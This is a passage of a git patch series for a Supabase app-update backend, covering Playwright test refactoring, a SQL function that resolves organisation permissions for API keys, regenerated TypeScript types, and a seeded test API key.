-        overwrittenChannelData2.version_name = '0.0.0'
-
-        const overwrittenChannelResponse2 = await sendUpdate(backendBaseUrl, overwrittenChannelData2)
-        await responseOk(overwrittenChannelResponse2, 'Overwrite channel version 2')
-        const overwriteChannelJson2 = await overwrittenChannelResponse2.json()
-        assert(overwriteChannelJson2.url !== undefined, `Response ${JSON.stringify(overwriteChannelJson2)} has no url`)
-        assert(overwriteChannelJson2.version !== undefined, `Response ${JSON.stringify(overwriteChannelJson2)} has no version`)
-        assert(overwriteChannelJson2.version === '1.361.0', `Response ${JSON.stringify(overwriteChannelJson2)} version is not equal to 1.361.0`)
-      }
-      finally {
-        const { error: changeOverwritenChannelStrategyError } = await supabase
-          .from('channels')
-          .update({ disableAutoUpdate: 'major' })
-          .eq('id', 23)
-
-        assert(changeOverwritenChannelStrategyError === null, `Supabase changeOverwritenChannelStrategyError error ${JSON.stringify(changeOverwritenChannelStrategyError)} is not null`)
-
-        // 3 seconds of delay so that supabase can invalidate the data
-        await delay(3000)
-      }
-    }
-    finally {
-      const { error: deleteChannelDeviceError } = await supabase.from('channel_devices').delete().eq('device_id', channelOverwriteData.device_id)
-      assert(deleteChannelDeviceError === null, `Supabase delete channel_device error ${JSON.stringify(deleteChannelDeviceError)} is not null`)
-    }
-
-    // We deleted the channel overwrite, there should not be any new version
-    const noNewOverwriteResponse = await sendUpdate(backendBaseUrl, channelOverwriteData)
-    await responseOk(noNewOverwriteResponse, 'No new overwrite')
-    const noNewOverwriteJson = await noNewOverwriteResponse.json()
-    assertEquals(noNewOverwriteJson, noNew, `Response ${JSON.stringify(noNewOverwriteJson)} is not equal to ${JSON.stringify(noNew)}`)
-
-    // Now we test the version overwrite
-    const versionOverwriteData = channelOverwriteData
-    try {
-      const { error: versionOverwriteInsertError } = await supabase
-        .from('devices_override')
-        .insert({
-          device_id: versionOverwriteData.device_id,
-          version: 9601,
-          app_id: channelOverwriteData.app_id,
-          created_by: defaultUserId,
-        })
-
-      assert(versionOverwriteInsertError === null, `Supabase devices_override insert error ${JSON.stringify(versionOverwriteInsertError)} is not null`)
-
-      // 3 seconds of delay so that supabase can invalidate the data
-      await delay(3000)
-
-      const versionOverwriteResponse = await sendUpdate(backendBaseUrl, versionOverwriteData)
-      const versionOverwriteJson = await versionOverwriteResponse.json()
-      assert(versionOverwriteJson.url !== undefined, `Response ${JSON.stringify(versionOverwriteJson)} has no url`)
-      assert(versionOverwriteJson.version !== undefined, `Response ${JSON.stringify(versionOverwriteJson)} has no version`)
-      assert(versionOverwriteJson.version === '1.359.0', `Response ${JSON.stringify(versionOverwriteJson)} version is not equal to 1.359.0`)
-    }
-    finally {
-      const { error: deleteVersionOverwite } = await supabase.from('devices_override').delete().eq('device_id', channelOverwriteData.device_id)
-      assert(deleteVersionOverwite === null, `Supabase delete devices_override error ${JSON.stringify(deleteVersionOverwite)} is not null`)
-    }
-
-    // We again check for no new version
-    const noNewOverwriteResponse2 = await sendUpdate(backendBaseUrl, versionOverwriteData)
-    await responseOk(noNewOverwriteResponse2, 'No new overwrite')
-    const noNewOverwriteJson2 = await noNewOverwriteResponse2.json()
-    assertEquals(noNewOverwriteJson2, noNew, `Response ${JSON.stringify(noNewOverwriteJson2)} is not equal to ${JSON.stringify(noNew)}`)
-  }
-  finally {
-    const { error: deleteDeviceError } = await supabase.from('devices').delete().eq('device_id', newDeviceData.device_id)
-    assert(deleteDeviceError === null, `Supabase delete device error ${JSON.stringify(deleteDeviceError)} is not null`)
-  }
+  await testPlaywright('update_endpoint.spec.ts', backendBaseUrl, {})
 }
 
 async function forceSupabaseTaskQueueFlush(_supabase: SupabaseType) {
diff --git a/tests_backend/tests/cli/test_cli.ts b/tests_backend/tests/cli/test_cli.ts
index 4f5568f234..bfa5663d4b 100644
--- a/tests_backend/tests/cli/test_cli.ts
+++ b/tests_backend/tests/cli/test_cli.ts
@@ -351,8 +351,8 @@ async function testAutoMinVersionFlag(_backendBaseUrl: URL, supabase: SupabaseTy
   )
 }
 
-async function testFrontend(_backendBaseUrl: URL, _supabase: SupabaseType) {
-  await testPlaywright('bundle.spec.ts', {
+async function testFrontend(backendBaseUrl: URL, _supabase: SupabaseType) {
+  await testPlaywright('bundle.spec.ts', backendBaseUrl, {
     BUNDLE: semver,
   })
 }
diff --git a/tests_backend/tests/organization/main.ts b/tests_backend/tests/organization/main.ts
index 5cd86be56b..d10b4e483d 100644
--- a/tests_backend/tests/organization/main.ts
+++ b/tests_backend/tests/organization/main.ts
@@ -14,5 +14,5 @@ export function getTest(): RunnableTest {
 }
 
 async function runFrontendTests(backendBaseUrl: URL, supabase: SupabaseType) {
-  await testPlaywright('organization_system.spec.ts', {})
+  await testPlaywright('organization_system.spec.ts', backendBaseUrl, {})
 }
diff --git a/tests_backend/tests/selectable_disallow/main.ts b/tests_backend/tests/selectable_disallow/main.ts
index 4014360179..0db5d82107 100644
--- a/tests_backend/tests/selectable_disallow/main.ts
+++ b/tests_backend/tests/selectable_disallow/main.ts
@@ -127,6 +127,6 @@ async function testDisableUpdateBasedOnMetadataPresent(backendBaseUrl: URL, _sup
   assert(responseSuccessJson.version === '1.359.0', `Response ${JSON.stringify(responseSuccessJson)} version is not equal to 1.0.0`)
 }
 
-async function testSelectableDisallowFront(_backendBaseUrl: URL, _supabase: SupabaseType) {
-  await testPlaywright('selectable_disallow.spec', {})
+async function testSelectableDisallowFront(backendBaseUrl: URL, _supabase: SupabaseType) {
+  await testPlaywright('selectable_disallow.spec', backendBaseUrl, {})
 }
diff --git a/tests_backend/utils.ts b/tests_backend/utils.ts
index b830f3ae67..3465c1620e 100644
--- a/tests_backend/utils.ts
+++ b/tests_backend/utils.ts
@@ -96,7 +96,7 @@ export function getUpdateBaseData(): typeof updateAndroidBaseData {
   return structuredClone(updateAndroidBaseData)
 }
 
-export async function testPlaywright(spec: string, env: { [key: string]: string }) {
+export async function testPlaywright(spec: string, backendUrl: URL, env: { [key: string]: string }) {
   const playwrightCommand = new Deno.Command('npx', {
     args: [
       'playwright',
@@ -111,6 +111,7 @@ export async function testPlaywright(spec: string, env: { [key: string]: string
       SUPABASE_SERVICE: supabaseSecret!,
       SUPABASE_URL: supabaseUrl!,
       START_FRONTEND: 'true',
+      BACKEND_URL: backendUrl.toString(),
       ...env,
     },
   })

From 55ae74cf451ea405b0bc8da67cbd15b02c753354 Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Tue, 28 Nov 2023 05:25:00 +0100
Subject: [PATCH 90/96] Import crypro

---
 tests/update_endpoint.spec.ts | 1 +
 1 file changed, 1 insertion(+)

diff --git a/tests/update_endpoint.spec.ts b/tests/update_endpoint.spec.ts
index 5c09f98db5..021c5f1aff 100644
--- a/tests/update_endpoint.spec.ts
+++ b/tests/update_endpoint.spec.ts
@@ -3,6 +3,7 @@ import { useSupabaseAdmin } from './utils'
 import type { Database } from '~/types/supabase.types'
 import { z } from 'zod'
 import { expect } from './zodUtils'
+import * as crypto from 'node:crypto'
 
 const functionUrl = process.env.BACKEND_URL || 'http://localhost:54321/functions/v1/'
 const defaultUserId = '6aa76066-55ef-4238-ade6-0b32334a4097'

From d22b1cc74694a87f12362ed68c253e5fb39e3556 Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Wed, 29 Nov 2023 14:36:41 +0100
Subject: [PATCH 91/96] Latest playwright

---
 package.json   |  2 +-
 pnpm-lock.yaml | 20 ++++++++++----------
 2 files changed, 11 insertions(+), 11 deletions(-)

diff --git a/package.json b/package.json
index 5c5302c728..61d7ed2368 100644
--- a/package.json
+++ b/package.json
@@ -146,7 +146,7 @@
     "@iconify-json/ion": "1.1.12",
     "@iconify-json/ls": "1.1.5",
     "@iconify/json": "^2.2.145",
-    "@playwright/test": "1.39",
+    "@playwright/test": "next",
     "@tailwindcss/aspect-ratio": "^0.4.2",
     "@tailwindcss/container-queries": "^0.1.1",
     "@tailwindcss/line-clamp": "^0.4.4",
diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml
index 0df96a2b5d..4e757982a2 100644
--- a/pnpm-lock.yaml
+++ b/pnpm-lock.yaml
@@ -302,8 +302,8 @@ devDependencies:
     specifier: ^2.2.145
     version: 2.2.145
   '@playwright/test':
-    specifier: '1.39'
-    version: 1.39.0
+    specifier: next
+    version: 1.41.0-alpha-nov-23-2023
   '@tailwindcss/aspect-ratio':
     specifier: ^0.4.2
     version: 0.4.2(tailwindcss@3.3.5)
@@ -3575,12 +3575,12 @@ packages:
       '@nodelib/fs.scandir': 2.1.5
       fastq: 1.15.0
 
-  /@playwright/test@1.39.0:
-    resolution: {integrity: sha512-3u1iFqgzl7zr004bGPYiN/5EZpRUSFddQBra8Rqll5N0/vfpqlP9I9EXqAoGacuAbX6c9Ulg/Cjqglp5VkK6UQ==}
+  /@playwright/test@1.41.0-alpha-nov-23-2023:
+    resolution: {integrity: sha512-UnQGiVO1SylmNSRdKkYx+ijxw5YG+D+xSWPKTPXButkNrUVUmkz+DutjE58g71ZGloTuflAJvvOQLYQzIDK4Mw==}
     engines: {node: '>=16'}
     hasBin: true
     dependencies:
-      playwright: 1.39.0
+      playwright: 1.41.0-alpha-nov-23-2023
     dev: true
 
   /@polka/url@1.0.0-next.21:
@@ -11415,18 +11415,18 @@ packages:
     engines: {node: '>=10'}
     dev: false
 
-  /playwright-core@1.39.0:
-    resolution: {integrity: sha512-+k4pdZgs1qiM+OUkSjx96YiKsXsmb59evFoqv8SKO067qBA+Z2s/dCzJij/ZhdQcs2zlTAgRKfeiiLm8PQ2qvw==}
+  /playwright-core@1.41.0-alpha-nov-23-2023:
+    resolution: {integrity: sha512-sqB3THKyX+u9R1vDfRJXQZsFTPslKlJ0C6AO6HDXbUFykbOBdZTi9bG+n0VxX+l5rv6UXU4m+jkuEfSYKuCH4w==}
     engines: {node: '>=16'}
     hasBin: true
     dev: true
 
-  /playwright@1.39.0:
-    resolution: {integrity: sha512-naE5QT11uC/Oiq0BwZ50gDmy8c8WLPRTEWuSSFVG2egBka/1qMoSqYQcROMT9zLwJ86oPofcTH2jBY/5wWOgIw==}
+  /playwright@1.41.0-alpha-nov-23-2023:
+    resolution: {integrity: sha512-cuw9V1zRixCC0lw7ROsU5YFoYcz0zn8FylN9pyY9BOFw0p+AfZCiCfWx2sDMAuyF5anBvVSy6S48csp9vTOQ3w==}
     engines: {node: '>=16'}
     hasBin: true
     dependencies:
-      playwright-core: 1.39.0
+      playwright-core: 1.41.0-alpha-nov-23-2023
     optionalDependencies:
       fsevents: 2.3.2
     dev: true

From b2734e7ed4d6a945b89ad7d4c042782032454d0d Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Thu, 30 Nov 2023 05:42:59 +0100
Subject: [PATCH 92/96] Get perms for apikey fn

---
 .../20231121174425_organization_system.sql    | 47 +++++++++++++++++++
 1 file changed, 47 insertions(+)

diff --git a/supabase/migrations/20231121174425_organization_system.sql b/supabase/migrations/20231121174425_organization_system.sql
index 60676fefe6..39aca8858d 100644
--- a/supabase/migrations/20231121174425_organization_system.sql
+++ b/supabase/migrations/20231121174425_organization_system.sql
@@ -296,6 +296,53 @@ $$BEGIN
     RETURN NEW;
 END;$$;
 
+6f0d1a2e-59ed-4769-b9d7-4d9615b28fe5
+CREATE OR REPLACE FUNCTION "public"."get_org_perm_for_apikey"("apikey" "text", "app_id" "text") RETURNS text
+   LANGUAGE plpgsql SECURITY DEFINER AS $$
+Declare  
+  apikey_user_id uuid;
+  app_owner uuid;
+  org_id uuid;
+  user_perm "public"."user_min_right";
+BEGIN
+  SELECT get_user_id(apikey) into apikey_user_id;
+
+  IF apikey_user_id IS NULL THEN
+    return 'INVALID_APIKEY';
+  END IF;
+
+  SELECT user_id from apps
+  INTO app_owner
+  WHERE apps.app_id=app_id
+  limit 1;
+
+  IF app_owner IS NULL THEN
+    return 'NO_APP';
+  END IF;
+
+  SELECT get_user_main_org_id(app_owner) INTO org_id;
+
+  IF org_id IS NULL THEN
+    return 'NO_ORG';
+  END IF;
+
+  IF is_owner_of_org(apikey_user_id, org_id) THEN
+    return 'PERM_OWNER';
+  END IF;
+
+  SELECT user_right from org_users
+  INTO user_perm
+  WHERE user_id=apikey_user_id
+  AND org_users.org_id=org_id;
+
+  IF user_right IS NULL THEN
+    return 'PERM_NONE';
+  END IF;
+
+  RETURN format('PERM_%s', user_right);
+END;$$;
+
+
 CREATE OR REPLACE FUNCTION "public"."noupdate"() RETURNS trigger
    LANGUAGE plpgsql AS $$
 DECLARE

From abb608b4ce6b90168cbd64eaf116fbec77cee48f Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Fri, 1 Dec 2023 05:33:55 +0100
Subject: [PATCH 93/96] Fix get_org_perm_for_apikey

---
 .../20231121174425_organization_system.sql        | 15 +++++++--------
 1 file changed, 7 insertions(+), 8 deletions(-)

diff --git a/supabase/migrations/20231121174425_organization_system.sql b/supabase/migrations/20231121174425_organization_system.sql
index 39aca8858d..8bb5c83e2e 100644
--- a/supabase/migrations/20231121174425_organization_system.sql
+++ b/supabase/migrations/20231121174425_organization_system.sql
@@ -296,9 +296,9 @@ $$BEGIN
     RETURN NEW;
 END;$$;
 
-6f0d1a2e-59ed-4769-b9d7-4d9615b28fe5
 CREATE OR REPLACE FUNCTION "public"."get_org_perm_for_apikey"("apikey" "text", "app_id" "text") RETURNS text
    LANGUAGE plpgsql SECURITY DEFINER AS $$
+<<get_org_perm_for_apikey>>
 Declare  
   apikey_user_id uuid;
   app_owner uuid;
@@ -313,7 +313,7 @@ BEGIN
 
   SELECT user_id from apps
   INTO app_owner
-  WHERE apps.app_id=app_id
+  WHERE apps.app_id=get_org_perm_for_apikey.app_id
   limit 1;
 
   IF app_owner IS NULL THEN
@@ -327,22 +327,21 @@ BEGIN
   END IF;
 
   IF is_owner_of_org(apikey_user_id, org_id) THEN
-    return 'PERM_OWNER';
+    return 'perm_owner';
   END IF;
 
   SELECT user_right from org_users
   INTO user_perm
   WHERE user_id=apikey_user_id
-  AND org_users.org_id=org_id;
+  AND org_users.org_id=get_org_perm_for_apikey.org_id;
 
-  IF user_right IS NULL THEN
-    return 'PERM_NONE';
+  IF user_perm IS NULL THEN
+    return 'perm_none';
   END IF;
 
-  RETURN format('PERM_%s', user_right);
+  RETURN format('perm_%s', user_perm);
 END;$$;
 
-
 CREATE OR REPLACE FUNCTION "public"."noupdate"() RETURNS trigger
    LANGUAGE plpgsql AS $$
 DECLARE

From 50ca1a439b0b7a2333cc2fadced418e1da9e7dad Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Fri, 1 Dec 2023 15:29:20 +0100
Subject: [PATCH 94/96] Finalize CLI tests

---
 .../20231121174425_organization_system.sql    |  6 +-
 tests_backend/tests/cli/test_cli.ts           | 61 ++++++++++++++++++-
 2 files changed, 61 insertions(+), 6 deletions(-)

diff --git a/supabase/migrations/20231121174425_organization_system.sql b/supabase/migrations/20231121174425_organization_system.sql
index 8bb5c83e2e..39effb1e3d 100644
--- a/supabase/migrations/20231121174425_organization_system.sql
+++ b/supabase/migrations/20231121174425_organization_system.sql
@@ -289,11 +289,9 @@ $$;
 CREATE OR REPLACE FUNCTION "public"."force_valid_user_id"() RETURNS trigger
    LANGUAGE plpgsql AS
 $$BEGIN
-    IF NEW."user_id" <> (select user_id from apps where app_id=NEW."app_id") THEN
-        RAISE EXCEPTION 'INVALID_USER_ID';
-    END IF;
+  NEW."user_id" = (select user_id from apps where app_id=NEW."app_id");
 
-    RETURN NEW;
+  RETURN NEW;
 END;$$;
 
 CREATE OR REPLACE FUNCTION "public"."get_org_perm_for_apikey"("apikey" "text", "app_id" "text") RETURNS text
diff --git a/tests_backend/tests/cli/test_cli.ts b/tests_backend/tests/cli/test_cli.ts
index bfa5663d4b..e2c2e424d4 100644
--- a/tests_backend/tests/cli/test_cli.ts
+++ b/tests_backend/tests/cli/test_cli.ts
@@ -100,6 +100,11 @@ export function getTest(): RunnableTest {
         test: testAutoMinVersionFlag,
         timesToExecute: 1,
       },
+      {
+        name: 'Test upload with organization (upload)',
+        test: testUploadWithOrganization,
+        timesToExecute: 1
+      }
     ],
   }
 }
@@ -156,9 +161,9 @@ async function pnpmInstall() {
   }
 }
 
-async function runCli(params: string[], logOutput = false): Promise<string> {
+async function runCli(params: string[], logOutput = false, overwriteApiKey?: string): Promise<string> {
   const command = new Deno.Command('node', {
-    args: [cliPath!, ...params, '--apikey', defaultApiKey],
+    args: [cliPath!, ...params, '--apikey', overwriteApiKey ?? defaultApiKey],
     cwd: appPath!,
     stdout: 'piped',
     stderr: 'piped',
@@ -356,3 +361,55 @@ async function testFrontend(backendBaseUrl: URL, _supabase: SupabaseType) {
     BUNDLE: semver,
   })
 }
+
+async function testUploadWithOrganization(_backendBaseUrl: URL, supabase: SupabaseType) {
+  const testApiKey = crypto.randomUUID()
+  const testUserId = '6f0d1a2e-59ed-4769-b9d7-4d9615b28fe5'
+
+  const { error: apikeyError } = await supabase.from('apikeys')
+    .insert({ key: testApiKey, user_id: testUserId, mode: 'upload' })
+
+  assert(apikeyError === null, `Insert test api key error not null. Error: ${apikeyError}`)
+
+  try {
+    const { data: orgMembers, error: getOrgMembersError } = await supabase.from('org_users')
+      .delete()
+      .eq('user_id', testUserId)
+      .select('*')
+
+    assert(!!orgMembers, `Org members is null. Org members: ${orgMembers}`)
+    assert(getOrgMembersError === null, `Get orgs memers error is not null. Error: ${getOrgMembersError}`)
+
+    try {
+      const { error: insertTempUserError } = await supabase.from('org_users')
+        .insert({ user_id: testUserId, org_id: '046a36ac-e03c-4590-9257-bd6c9dba9ee8', user_right: 'upload' })
+
+      assert(insertTempUserError === null, `Insert temp organization user error is not null. Error: ${insertTempUserError}`)
+
+      try{
+        increaseSemver()
+
+        const output = await runCli(['bundle', 'upload', '-b', semver, '-c', 'production'], false, testApiKey)
+        assert(output.includes('Bundle Uploaded'), `The upload propably failed. Output:\n${output}`)
+      } finally {
+        const { error: deleteTempUserError } = await supabase.from('org_users')
+          .delete()
+          .eq('user_id', testUserId)
+          .eq('org_id', '046a36ac-e03c-4590-9257-bd6c9dba9ee8')
+          .eq('user_right', 'upload')
+
+        assert(deleteTempUserError === null, `Delete temp user error is not null ${deleteTempUserError}`)
+      }
+    } finally {
+      const { error: insertOrgUsers } = await supabase.from('org_users').insert(orgMembers!)
+      assert(insertOrgUsers === null, `Insert org users error not null: ${insertOrgUsers}`)
+    }
+  } finally {
+    const { error: deleteApiKeyError } = await supabase.from('apikeys')
+      .delete()
+      .eq('key', testApiKey)
+      .eq('user_id', testUserId)
+
+    assert(deleteApiKeyError === null, `Delete API key error not null. Error: ${defaultApiKey}`)
+  }
+}

From d30ed63a92ff92d291decb9b5a1b594c130e530d Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Fri, 1 Dec 2023 15:38:47 +0100
Subject: [PATCH 95/96] types

---
 supabase/functions/_utils/supabase.types.ts | 127 +++++++++++++-------
 1 file changed, 83 insertions(+), 44 deletions(-)

diff --git a/supabase/functions/_utils/supabase.types.ts b/supabase/functions/_utils/supabase.types.ts
index 4a25176e5c..953e4f9671 100644
--- a/supabase/functions/_utils/supabase.types.ts
+++ b/supabase/functions/_utils/supabase.types.ts
@@ -599,6 +599,33 @@ export interface Database {
         }
         Relationships: []
       }
+      job_queue: {
+        Row: {
+          created_at: string | null
+          function_name: string | null
+          function_type: string | null
+          job_id: number
+          job_type: string
+          payload: string
+        }
+        Insert: {
+          created_at?: string | null
+          function_name?: string | null
+          function_type?: string | null
+          job_id?: number
+          job_type: string
+          payload: string
+        }
+        Update: {
+          created_at?: string | null
+          function_name?: string | null
+          function_type?: string | null
+          job_id?: number
+          job_type?: string
+          payload?: string
+        }
+        Relationships: []
+      }
       notifications: {
         Row: {
           created_at: string | null
@@ -1060,6 +1087,21 @@ export interface Database {
           }
         ]
       }
+      workers: {
+        Row: {
+          id: number
+          locked: boolean
+        }
+        Insert: {
+          id?: number
+          locked?: boolean
+        }
+        Update: {
+          id?: number
+          locked?: boolean
+        }
+        Relationships: []
+      }
     }
     Views: {
       [_ in never]: never
@@ -1306,6 +1348,13 @@ export interface Database {
           image_url: string
         }[]
       }
+      get_org_perm_for_apikey: {
+        Args: {
+          apikey: string
+          app_id: string
+        }
+        Returns: string
+      }
       get_orgs: {
         Args: {
           userid: string
@@ -1415,13 +1464,13 @@ export interface Database {
         | {
             Args: {
               apikey: string
-              app_id: string
             }
             Returns: string
           }
         | {
             Args: {
               apikey: string
+              app_id: string
             }
             Returns: string
           }
@@ -1431,6 +1480,12 @@ export interface Database {
         }
         Returns: string
       }
+      get_user_main_org_id_by_app_id: {
+        Args: {
+          app_id: string
+        }
+        Returns: string
+      }
       get_weekly_stats: {
         Args: {
           app_id: string
@@ -1457,38 +1512,7 @@ export interface Database {
           function_type: string
           body: Json
         }
-        Returns: undefined
-      }
-      increment_stats: {
-        Args: {
-          app_id: string
-          date_id: string
-          bandwidth: number
-          version_size: number
-          channels: number
-          shared: number
-          mlu: number
-          mlu_real: number
-          versions: number
-          devices: number
-        }
-        Returns: undefined
-      }
-      increment_stats_v2: {
-        Args: {
-          app_id: string
-          date_id: string
-          bandwidth: number
-          version_size: number
-          channels: number
-          shared: number
-          mlu: number
-          mlu_real: number
-          versions: number
-          devices: number
-          devices_real: number
-        }
-        Returns: undefined
+        Returns: number
       }
       increment_store: {
         Args: {
@@ -1527,13 +1551,13 @@ export interface Database {
         | {
             Args: {
               apikey: string
-              appid: string
             }
             Returns: boolean
           }
         | {
             Args: {
               apikey: string
+              appid: string
             }
             Returns: boolean
           }
@@ -1553,9 +1577,6 @@ export interface Database {
             Args: {
               apikey: string
               keymode: Database["public"]["Enums"]["key_mode"][]
-              app_id: string
-              right: Database["public"]["Enums"]["user_min_right"]
-              user_id: string
             }
             Returns: boolean
           }
@@ -1564,9 +1585,6 @@ export interface Database {
               apikey: string
               keymode: Database["public"]["Enums"]["key_mode"][]
               app_id: string
-              channel_id: number
-              right: Database["public"]["Enums"]["user_min_right"]
-              user_id: string
             }
             Returns: boolean
           }
@@ -1574,6 +1592,9 @@ export interface Database {
             Args: {
               apikey: string
               keymode: Database["public"]["Enums"]["key_mode"][]
+              app_id: string
+              right: Database["public"]["Enums"]["user_min_right"]
+              user_id: string
             }
             Returns: boolean
           }
@@ -1582,10 +1603,20 @@ export interface Database {
               apikey: string
               keymode: Database["public"]["Enums"]["key_mode"][]
               app_id: string
+              channel_id: number
+              right: Database["public"]["Enums"]["user_min_right"]
+              user_id: string
             }
             Returns: boolean
           }
       is_app_owner:
+        | {
+            Args: {
+              apikey: string
+              appid: string
+            }
+            Returns: boolean
+          }
         | {
             Args: {
               appid: string
@@ -1685,16 +1716,16 @@ export interface Database {
         Returns: boolean
       }
       is_onboarded:
-        | {
-            Args: Record<PropertyKey, never>
-            Returns: boolean
-          }
         | {
             Args: {
               userid: string
             }
             Returns: boolean
           }
+        | {
+            Args: Record<PropertyKey, never>
+            Returns: boolean
+          }
       is_onboarding_needed:
         | {
             Args: Record<PropertyKey, never>
@@ -1764,6 +1795,10 @@ export interface Database {
         Args: Record<PropertyKey, never>
         Returns: string
       }
+      process_current_jobs_if_unlocked: {
+        Args: Record<PropertyKey, never>
+        Returns: number[]
+      }
       remove_enum_value: {
         Args: {
           enum_type: unknown
@@ -1771,6 +1806,10 @@ export interface Database {
         }
         Returns: undefined
       }
+      schedule_jobs: {
+        Args: Record<PropertyKey, never>
+        Returns: undefined
+      }
     }
     Enums: {
       disable_update: "major" | "minor" | "version_number" | "none"

From 58e8554aaaa2e586b5a2e2d0d847ecad401d13c2 Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Fri, 1 Dec 2023 15:39:13 +0100
Subject: [PATCH 96/96] Seed apikey

---
 supabase/seed.sql | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/supabase/seed.sql b/supabase/seed.sql
index 4e4502c2f2..2a5a8c4e71 100644
--- a/supabase/seed.sql
+++ b/supabase/seed.sql
@@ -88,7 +88,8 @@ INSERT INTO "public"."apikeys" ("id", "created_at", "user_id", "key", "mode", "u
 (911, '2022-07-12 12:06:18.822406+00', '6aa76066-55ef-4238-ade6-0b32334a4097', 'c591b04e-cf29-4945-b9a0-776d0672061a', 'upload', '2022-07-12 12:06:18.822406+00'),
 (912, '2022-07-12 12:06:22.425878+00', '6aa76066-55ef-4238-ade6-0b32334a4097', '67eeaff4-ae4c-49a6-8eb1-0875f5369de0', 'read', '2022-07-12 12:06:22.425878+00'),
 (913, '2022-07-12 12:06:36.468855+00', '6aa76066-55ef-4238-ade6-0b32334a4097', 'ae6e7458-c46d-4c00-aa3b-153b0b8520ea', 'all', '2022-07-12 12:06:36.468855+00'),
-(914, '2022-07-12 12:06:36.468855+00', 'c591b04e-cf29-4945-b9a0-776d0672061a', 'ae4d9a98-ec25-4af8-933c-2aae4aa52b85', 'all', '2022-07-12 12:06:36.468855+00');
+(914, '2022-07-12 12:06:36.468855+00', 'c591b04e-cf29-4945-b9a0-776d0672061a', 'ae4d9a98-ec25-4af8-933c-2aae4aa52b85', 'all', '2022-07-12 12:06:36.468855+00'),
+(915, '2022-07-12 12:06:36.468855+00', '6f0d1a2e-59ed-4769-b9d7-4d9615b28fe5', 'ab4d9a98-ec25-4af8-933c-2aae4aa52b85', 'upload', '2022-07-12 12:06:36.468855+00');
 
 INSERT INTO "public"."apps" ("created_at", "app_id", "icon_url", "user_id", "name", "last_version", "updated_at", "id") VALUES
 ('2022-03-07 14:08:28.910887+00', 'com.demoadmin.app', '', 'c591b04e-cf29-4945-b9a0-776d0672061a', 'Demo Admin app', '1.0.0', '2023-03-20 00:46:33.006797+00', 'f8b37304-0fb8-48b2-9ef8-ff3d7c50a792'),